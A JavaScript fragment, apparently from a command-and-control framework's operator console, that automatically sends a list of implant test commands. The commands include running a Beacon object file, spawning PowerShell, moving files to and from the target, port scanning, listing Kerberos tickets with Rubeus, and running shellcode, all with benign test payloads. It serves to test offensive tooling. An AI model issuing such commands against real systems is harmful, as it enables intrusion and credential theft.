{ command: "ls 'C:/Program Files (x86)/Microsoft'"},
|
|
{ command: "dns reverse 1.1.1.1"},
|
|
{ command: "dns lookup google.com"},
|
|
{ command: "bof /Users/bobby/CS/SA/dir/dir.x64.o go z \"C:\\Users\\user\\Desktop\""},
|
|
{ command: "spawn powershell.exe -c \"echo testing > C:\\TEMP\\testing.txt\""},
|
|
{ command: "ls"},
|
|
{ command: "pwd"},
|
|
{ command: "cat testing.txt"},
|
|
{ command: "mv testing.txt testing2.txt"},
|
|
{ command: "ls .\\"},
|
|
{ command: "cp testing2.txt testing3.txt"},
|
|
{ command: "ls ./"},
|
|
{ command: "download testing3.txt"},
|
|
{ command: "cd"},
|
|
{ command: "upload /Users/bobby/Loki/downloads/testing3.txt ./"},
|
|
{ command: "scan 127.0.0.1 -p22,80,445,8080"},
|
|
{ command: "assembly /Users/bobby/Rubeus_v4.0_InspirationOpinion.exe klist"},
|
|
{ command: "scexec /Users/bobby/popcalc.bin"}
|
|
];
|
|
|
|
async function executeCommandTests() {
|
|
try{
|
|
printToConsole(`<i style="color:#808080">[+] Starting command tests...</i>`);
|
|
|
|
// Execute each command with basic test parameters
|
|
for (const cmd of testCommands) {
|
|
let testCommand = cmd.command;
|
|
// Put the command in the input box and send it
|
|
const input = document.getElementById('consoleInput');
|
|
input.value = testCommand;
|
|
sendCommand();
|
|
await new Promise(resolve => setTimeout(resolve, 5000));
|
|
}
|
|
} catch (error) {
|
|
log(`Error in executeCommandTests: ${error.message}\r\n${error.stack}`);
|
|
}
|
|
}
|